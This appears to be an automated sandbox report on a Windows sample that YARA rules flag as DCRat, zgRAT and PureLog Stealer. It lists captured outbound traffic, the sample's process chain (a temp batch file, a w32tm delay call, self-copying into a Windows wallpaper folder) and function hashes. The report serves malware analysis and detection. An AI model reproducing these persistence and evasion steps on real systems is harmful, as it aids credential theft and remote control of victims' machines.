Jan 1, 2025 15:18:55.921094894 CET	1056	OUT	Data Raw: 54 53 54 52 5f 56 57 51 59 5b 5a 5a 52 5c 5b 51 55 5f 5a 5a 57 5a 5b 57 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TSTR_VWQY[ZZR\[QU_ZZWZ[W[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]'-/?$[!2'+(/]?.W')5Q2,61%/+?/*9]//_
Jan 1, 2025 15:18:56.032290936 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:56.287877083 CET	811	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XAzb4%2B9SzNHBs3vH4wsKk002o%2F%2FFRLU77d6B59XbxtzKwolK3wxmpvBiWMQqGvAe5hTD3XUNcsBuWYXBAiFl8geeul%2BTLslMYEgsVoBg4G%2By5hF3PrfHD0L7Iu3WkN3%2Fph81iqoa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb32433eaaa41b2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8257&min_rtt=1630&rtt_var=13866&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=26714&cwnd=219&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Target ID:	0
Start time:	09:16:56
Start date:	01/01/2025
Path:	C:\Users\user\Desktop\GqjiKlwarV.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\GqjiKlwarV.exe"
Imagebase:	0x3b0000
File size:	1'645'568 bytes
MD5 hash:	E89C7ECF60BBE2EFC1810303234A09B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000000.1668508919.00000000003B2000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000000.00000002.1695511710.000000000280B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	09:16:59
Start date:	01/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\Oo9wa5O04T.bat"
Imagebase:	0x7ff70eee0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:16:59
Start date:	01/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:16:59
Start date:	01/01/2025
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff624930000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:16:59
Start date:	01/01/2025
Path:	C:\Windows\System32\w32tm.exe
Wow64 process (32bit):	false
Commandline:	w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Imagebase:	0x7ff760e50000
File size:	108'032 bytes
MD5 hash:	81A82132737224D324A3E8DA993E2FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:17:04
Start date:	01/01/2025
Path:	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe"
Imagebase:	0xa0000
File size:	1'645'568 bytes
MD5 hash:	E89C7ECF60BBE2EFC1810303234A09B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000005.00000002.4125015887.0000000002D9B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000005.00000002.4125015887.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000005.00000002.4125015887.0000000002C20000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000005.00000002.4125015887.0000000002717000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 74%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	09:17:19
Start date:	01/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 00007FFD9B750D50 Relevance: 1.5, Strings: 1, Instructions: 253COMMON

Download Yara Rule

Strings

5\_H, xrefs: 00007FFD9B750DF3

Memory Dump Source

Source File: 00000000.00000002.1700842026.00007FFD9B750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b750000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID: 5\_H
API String ID: 0-3325266018
Opcode ID: 54ed61bd9e5d91c5a73c856042d13776a9e7e9f9539e5b260d62031c9491f2cc
Instruction ID: 02c8fe8433d387031db71aa4362da82ef18df1e5c3e66727c22c3d130fc54af7
Opcode Fuzzy Hash: 54ed61bd9e5d91c5a73c856042d13776a9e7e9f9539e5b260d62031c9491f2cc
Instruction Fuzzy Hash: 2D913471A18B9D8FE789DFA88875BAD3FE0EF56300F4401BED089C72E6CAB814118741

Function 00007FFD9B750B3F Relevance: 3.8, Strings: 3, Instructions: 51COMMON

Download Yara Rule

Strings

!k9, xrefs: 00007FFD9B750B4E
c9, xrefs: 00007FFD9B750B56
"s9, xrefs: 00007FFD9B750B46

Memory Dump Source

Source File: 00000000.00000002.1700842026.00007FFD9B750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b750000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9
API String ID: 0-3426396564
Opcode ID: ed40f402bb6884191dcb730e73f8b83bec39751223c92cfb6f3fd0ef4defed17
Instruction ID: b013bb817717473bc9c436f527dc12a1d443e65dfaa3efc20f6a284a65ef372f
Opcode Fuzzy Hash: ed40f402bb6884191dcb730e73f8b83bec39751223c92cfb6f3fd0ef4defed17
Instruction Fuzzy Hash: 19F04C3771CA0A5FE700FABEFC808DA378CDBC9235B9501BBE104C7162D210185A83E0

Function 00007FFD9B75090D Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1700842026.00007FFD9B750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b750000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b8a74557a1acf2e61fc2ad1cf4c63f87e9554be3333132ce27a1f2815ba4504
Instruction ID: 5a25225775a1307ca3ef636121043d433301dd46f0c2d1cd702f576b95a7003d
Opcode Fuzzy Hash: 8b8a74557a1acf2e61fc2ad1cf4c63f87e9554be3333132ce27a1f2815ba4504
Instruction Fuzzy Hash: 9E415B16B4CA5D0EE308B7BC60A6AFD7781DF54320B0445FFE04DC71EBCE18A8828685

Function 00007FFD9B750908 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1700842026.00007FFD9B750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b750000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3d7e5f302a88f8ec2398e6a7592314a031dcba88df827417dd45c6b7d3b22c7
Instruction ID: e0e3a172fb0f84977e72fc5b7c282aa6c2bc558068d4c2137fca9a07799d9f32
Opcode Fuzzy Hash: c3d7e5f302a88f8ec2398e6a7592314a031dcba88df827417dd45c6b7d3b22c7
Instruction Fuzzy Hash: 0C21D83130DD184FE768EA5CE88ADB973D1EB5932170501BAE58AC7136E951EC8387C1

Function 00007FFD9B750C25 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1700842026.00007FFD9B750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b750000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e984d78b1de07016b417390a467532d38a10951f492b1cbbbcd172e87b3e91ad
Instruction ID: b77b643424fba05875731bb67698b56bad428a23d7f262a09d0cc624ca7b25a0
Opcode Fuzzy Hash: e984d78b1de07016b417390a467532d38a10951f492b1cbbbcd172e87b3e91ad
Instruction Fuzzy Hash: 0A314B36F0E35A8EF322A6E898650EC3B60DF53320F0546B7D048C60F3DD68264B8751

Function 00007FFD9B751171 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1700842026.00007FFD9B750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b750000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b2458d9b094ff89d50d57729b5309218f3ae78639dde48693e1ff8201e327ac
Instruction ID: 43f8885c2cf150a5c3e74211b3f9f96c6db09054e500b809d7e280937bf28f41
Opcode Fuzzy Hash: 5b2458d9b094ff89d50d57729b5309218f3ae78639dde48693e1ff8201e327ac
Instruction Fuzzy Hash: 7831B631A0D78E8FDF46EBA4C8659A97BF0FF16300B0902FAC049D71F2DA68A945C751

Function 00007FFD9B750998 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1700842026.00007FFD9B750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b750000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6a6172f3f221c512675ef9e7c783940c6dfb3e83e188ad5b724260f9c4b4e77
Instruction ID: f77ac9a2a7cc111b8491cf5668a92376cf36746cb30af237439b1c01ae54cc79
Opcode Fuzzy Hash: d6a6172f3f221c512675ef9e7c783940c6dfb3e83e188ad5b724260f9c4b4e77
Instruction Fuzzy Hash: EE212C20F19E5D0FE798E7AC546A67976C6EB9C311F5101BDE80DC33F6DD58AC428281

Function 00007FFD9B753784 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1700842026.00007FFD9B750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b750000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49ff15456b696b1cb8be28c66745aa9c1637b80a095ef91a8d597f09c87c203f
Instruction ID: 6607447b3c152fca9df0c5232a4a55b59ab3f0a638e8f37388e5423b894f0d94
Opcode Fuzzy Hash: 49ff15456b696b1cb8be28c66745aa9c1637b80a095ef91a8d597f09c87c203f
Instruction Fuzzy Hash: 5321C321F0DA0E4FEB74E6E888646B872D1FF44310F1706B5D40FD32B2DD686E424650

Function 00007FFD9B750C40 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1700842026.00007FFD9B750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b750000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ad9a1321bf055caa78b776640b124562b6dff4ab7fe0573b342c5e57f07497d
Instruction ID: c544871184d10f9d39059a1c5265feb767cc54f4d36635cdca76c35cea56693a
Opcode Fuzzy Hash: 5ad9a1321bf055caa78b776640b124562b6dff4ab7fe0573b342c5e57f07497d
Instruction Fuzzy Hash: AB118E36A0E38D8FE721DBA889610EC7BB0EF43710F0646B7D044DB1F2D9786A468740

Function 00007FFD9B752100 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1700842026.00007FFD9B750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b750000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 814f8a6602c04e8c7c09e7dd83f5db7dfb89b6889ff8f6eb0146efcb85112b12
Instruction ID: acc985cb7718e8dfdf621d55ea6331edd8c802bb218df94571cdfc1bf3a2a7d2
Opcode Fuzzy Hash: 814f8a6602c04e8c7c09e7dd83f5db7dfb89b6889ff8f6eb0146efcb85112b12
Instruction Fuzzy Hash: CD11B13190892D8FDB65DF44C894BA973B1FB58351F4541A9C44EE32A0CF74AE85CF81

Function 00007FFD9B750C48 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1700842026.00007FFD9B750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b750000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef3c5051d6330aefb1494a9ece5309665122ea56fa163b00d5d88dcd8a5e6ebc
Instruction ID: 450d8e757ec29a52303e4bf17fefddb87f04c893e46ee80cde49857fd9d6b811
Opcode Fuzzy Hash: ef3c5051d6330aefb1494a9ece5309665122ea56fa163b00d5d88dcd8a5e6ebc
Instruction Fuzzy Hash: D7016D35A0E38D8EE7259BA888610DC7BB0EF03710F1642B7D044DB1E2DA786A468740

Function 00007FFD9B750C50 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1700842026.00007FFD9B750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b750000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8da6df4786b7917c19e34e418b056621a6e9085e295feb66499f9b75125ec6ac
Instruction ID: 1dfde70c6627feb0e844b18a9e16f2cfdf7cc03e7ebdcd9db0d42710bafad507
Opcode Fuzzy Hash: 8da6df4786b7917c19e34e418b056621a6e9085e295feb66499f9b75125ec6ac
Instruction Fuzzy Hash: C5015A35E0E38D9EE7219BA888A40EC7BB0EF03700F1542E6D444DB2A6DA786A468740

Function 00007FFD9B7538D6 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1700842026.00007FFD9B750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b750000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ec0038c26d3511513fa82159b8284403227168b3cc0407b85c6fa05cf11e9b8
Instruction ID: e4c2c0e6e91ba7ddff3c9f29c2ee3d52883229c7f4002c3d91c1c356c3817a79
Opcode Fuzzy Hash: 4ec0038c26d3511513fa82159b8284403227168b3cc0407b85c6fa05cf11e9b8
Instruction Fuzzy Hash: 6B013B30E5951E4EE775EAD4C864BF8B3A1FF54711F1242B9C44ED3171DD782E824A50

Function 00007FFD9B7538AC Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1700842026.00007FFD9B750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b750000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a60d3c688f2205fbab0aa357044644d21df5fae60a730ed0f22731f6337b9ba9
Instruction ID: 4ece260a3fb8786c5a25eb24392fab3845f009416e5089b3ac504ad5c596cbc7
Opcode Fuzzy Hash: a60d3c688f2205fbab0aa357044644d21df5fae60a730ed0f22731f6337b9ba9
Instruction Fuzzy Hash: 48F09620F0951D4AF674E6C4C860BB87391EF44711F1302B9D44ED32B2DD686E424590

Function 00007FFD9B750B77 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1700842026.00007FFD9B750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b750000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 733a37c42561d7ec7dfecdda1d31cff64be17f20f96c4adb6e8190798fe1d9ba
Instruction ID: 13a2242f207c62ecb9baf0781c97b5d5120cbdce358f30dd177297d168fc5a35
Opcode Fuzzy Hash: 733a37c42561d7ec7dfecdda1d31cff64be17f20f96c4adb6e8190798fe1d9ba
Instruction Fuzzy Hash: 25E06836608A09CFD304EFBACC948D67B90FB09718FE601BED148C7122D2200829CB10

Function 00007FFD9B7528B8 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1700842026.00007FFD9B750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b750000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cc0a0a6e5373b6c77a216f1cb87f8ca01772b3be4f89373622592f0eaf1d16f
Instruction ID: 604777c4f0a4ee902973a929343b7233cced092abc39cf3961b54bd4c9fcdcb8
Opcode Fuzzy Hash: 9cc0a0a6e5373b6c77a216f1cb87f8ca01772b3be4f89373622592f0eaf1d16f
Instruction Fuzzy Hash: 33E06D20F0A10A4BF76056D0C4603B932A4EF89300F1643B8C94E932F6CE686E038A45

Function 00007FFD9B7506A5 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1700842026.00007FFD9B750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b750000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 667587a7f9a2ad318d0e910124adee7c79ed5890f1a8cbffdc8fdcd5df4b6fa9
Instruction ID: fb56d2120fd83b14e6d0d83c85444bf309f08dc15902d55e73e90ecc9db33d0f
Opcode Fuzzy Hash: 667587a7f9a2ad318d0e910124adee7c79ed5890f1a8cbffdc8fdcd5df4b6fa9
Instruction Fuzzy Hash: FDC00205F5B61E01E46575EA54660ADB140ABD6A10FD60272D50A401B5988E22970156

Function 00007FFD9B7512E0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1700842026.00007FFD9B750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b750000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77ad4d031cf475bb47d04fe4c5aaf9db597bb29844311aba93be73394404c860
Instruction ID: 44f21ec162ee6efd66018bbbd36080ebc7c3c5208ee57c729a3ab95db4510f70
Opcode Fuzzy Hash: 77ad4d031cf475bb47d04fe4c5aaf9db597bb29844311aba93be73394404c860
Instruction Fuzzy Hash: A4C08C3051180D8FCA08EB68C88480433A0FB09200BC200A0E008C7170D659ECC2CB40

Function 00007FFD9B750B18 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1700842026.00007FFD9B750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b750000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e80f6b96130f5d7351ae104d3d6270a63f24a102d3fc2d6494240c327d15f15
Instruction ID: a46a7054213b3d58ab0fdb1015858a9cc95c33d958be942a0de1144bcb665707
Opcode Fuzzy Hash: 4e80f6b96130f5d7351ae104d3d6270a63f24a102d3fc2d6494240c327d15f15
Instruction Fuzzy Hash: B3C08C305258088FC900F76CC88480033A0FB0D210BC20290E00EC7174E65A9CC1C740

Function 00007FFD9B7566AA Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1700842026.00007FFD9B750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b750000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e54fa92fc7dc3dbe8d820fd6951f1e3d064e802357e7cea9493dd390638d5524
Instruction ID: 0b80f65c999a86ebd33ec0ac562b60d874950077e181e6cff86f4a778ce4ee72
Opcode Fuzzy Hash: e54fa92fc7dc3dbe8d820fd6951f1e3d064e802357e7cea9493dd390638d5524
Instruction Fuzzy Hash: CCC08C00F19C2E06F31A2BA4083063F04028B44705F948278E00E923DECC0C2F020283

Function 00007FFD9B7506C8 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1700842026.00007FFD9B750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b750000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df222be522c201a1275ca7ecf03bd2f1815817b6ce0967f16c8cf6fa3dfcd97a
Instruction ID: acd6abf559906330e7c8e145cdc9a20af17ec85b3ffe3faf6a3b5a26ddf1944d
Opcode Fuzzy Hash: df222be522c201a1275ca7ecf03bd2f1815817b6ce0967f16c8cf6fa3dfcd97a
Instruction Fuzzy Hash: 7AB00204E5754F01E46435FA19560B574509F45514FD612B0E40D501B599CD16961256

Function 00007FFD9B753379 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1700842026.00007FFD9B750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b750000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0822b35b37265702412871b4e8958697d1c63559cad97bac82256755db1dffb9
Instruction ID: 1e2eb681fceec31382e9320e5140f5dcc9d76a9b5a4929bd2be85f477a679aa3
Opcode Fuzzy Hash: 0822b35b37265702412871b4e8958697d1c63559cad97bac82256755db1dffb9
Instruction Fuzzy Hash: 2AB01221E0A20D42F328A2E084600FF32525F55312F1B8337C40F2E4F5CC7C264252C0

Non-executed Functions

Function 00007FFD9B750E43 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1700842026.00007FFD9B750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b750000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1cf1219224f92731d4d9a9686501e741531883d56f80e88d9a9cfd8917aae92
Instruction ID: 8a18fbddbf3d192807ccdce84210729589d50087f9d9019653d255484dfed0a6
Opcode Fuzzy Hash: c1cf1219224f92731d4d9a9686501e741531883d56f80e88d9a9cfd8917aae92
Instruction Fuzzy Hash: 3B512471A18A9D8EE799DF9CC869BAD7FE4EB95314F5001BED089C33E5CBB814518301

Analysis Process: GqjiKlwarV.exePID: 5740, Parent PID: 7092COMMON

Executed Functions

Function 00007FFD9B790D50 Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

5X_H, xrefs: 00007FFD9B790DF3

Memory Dump Source

Source File: 00000005.00000002.4131847919.00007FFD9B790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b790000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID: 5X_H
API String ID: 0-3241812158
Opcode ID: 018970a5237ae6b05e1208c9fc20276137c7daaa45552743bc2f1f5af4e161be
Instruction ID: d414abce08403292e9ffb1ea09a7f730d7cb112577c22e8b4a9131fc733a776d
Opcode Fuzzy Hash: 018970a5237ae6b05e1208c9fc20276137c7daaa45552743bc2f1f5af4e161be
Instruction Fuzzy Hash: 4F91E475A29A8D8FE799DF6888A97B97FE1FB55310F0001BAD049C73E6DEB818108740

Function 00007FFD9B790B3F Relevance: 3.8, Strings: 3, Instructions: 50COMMON

Download Yara Rule

Strings

c9, xrefs: 00007FFD9B790B56
!k9, xrefs: 00007FFD9B790B4E
"s9, xrefs: 00007FFD9B790B46

Memory Dump Source

Source File: 00000005.00000002.4131847919.00007FFD9B790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b790000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9
API String ID: 0-3426396564
Opcode ID: 9c5dfd618b0d5224a0d78ae3a20b62663fb29def29c58a04b0ae9d6c468d0db3
Instruction ID: 854ae9a3111b59a87f53f690771d00027c481ecc3fe2d2780fc9b6783474b54c
Opcode Fuzzy Hash: 9c5dfd618b0d5224a0d78ae3a20b62663fb29def29c58a04b0ae9d6c468d0db3
Instruction Fuzzy Hash: 0FF04C37725E0A8BC7016BBEFC404E57780EB96276BE502BBD104C7271E222182EC3D0

Function 00007FFD9B791171 Relevance: 1.3, Strings: 1, Instructions: 91COMMON

Download Yara Rule

Strings

H, xrefs: 00007FFD9B79121A

Memory Dump Source

Source File: 00000005.00000002.4131847919.00007FFD9B790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b790000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID: H
API String ID: 0-2852464175
Opcode ID: c165572e2608ea73784ba25c5ae56e458af32c4b55017fa03682739e3fda53ba
